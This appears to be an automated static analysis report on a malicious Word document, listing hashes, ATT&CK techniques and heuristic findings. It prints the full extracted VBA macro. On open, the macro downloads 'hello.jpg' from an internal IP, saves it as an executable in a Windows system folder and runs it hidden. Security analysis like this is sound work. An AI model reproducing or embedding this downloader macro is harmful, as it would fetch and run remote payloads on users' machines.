Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 81e4050da90f9ebe…

MALICIOUS

Office (OOXML)

16.8 KB Created: 2021-07-04 13:37:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-07-10
MD5: f7b5b313e16f336f742d0b9cb77e31e2 SHA-1: c953702cae1e4b47214f41f9e9d05fcf6d68347f SHA-256: 81e4050da90f9ebec6a158ab5a3f37dd17f7d4c63b8a2c5b59be42bb79b52156
238 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample is a malicious OOXML document containing VBA macros. The AutoOpen and Workbook_Open macros trigger a VBA subroutine that uses URLDownloadToFile to download a file from 'http://10.145.0.138/hello.jpg' to 'c:\windows\system32\spool\drivers\color\hello.exe'. It then uses WScript.Shell to execute the downloaded file. This indicates a downloader pattern designed to fetch and run a second-stage payload.

Heuristics 8

  • VBA project inside OOXML medium 6 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        Dim hey
    Set hey = CreateObject("Wscript.Shell")
    hey.Run dlpath & "hello.exe", 0, True
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Attribute VB_Name = "NewMacros"
Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Dim hey
    Set hey = CreateObject("Wscript.Shell")
    hey.Run dlpath & "hello.exe", 0, True
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Customizable = True
Sub AutoOpen()
    download_picture
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    End Sub
Sub Workbook_Open()
    download_picture
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://10.145.0.138/hello.jpg Referenced by macro
    • http://�10.145.�Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 981 bytes
SHA-256: cd03cdb6e7aa26525c3caa906fbc9e2cf3d4715fa0ea92a1ded8de8702a73602
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
    download_picture
End Sub
End Sub
Sub Workbook_Open()
    download_picture
End Sub

Attribute VB_Name = "NewMacros"
Declare PtrSafe Function URLDownloadToFile Lib "urlmon" _
        Alias "URLDownloadToFileA" (ByVal pCaller As Long, ByVal szURL As String, _
        ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long) As Long

        
Sub download_picture()
    imgsrc = "http://10.145.0.138/hello.jpg"
    dlpath = "c:\windows\system32\spool\drivers\color\"
    URLDownloadToFile 0, imgsrc, dlpath & "hello.exe", 0, 0

    Dim hey
    Set hey = CreateObject("Wscript.Shell")
    hey.Run dlpath & "hello.exe", 0, True
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 10240 bytes
SHA-256: ced40b5aa5bdca0049b67ed1311032c93a3b877975286309cbc6a0b09e5e5028

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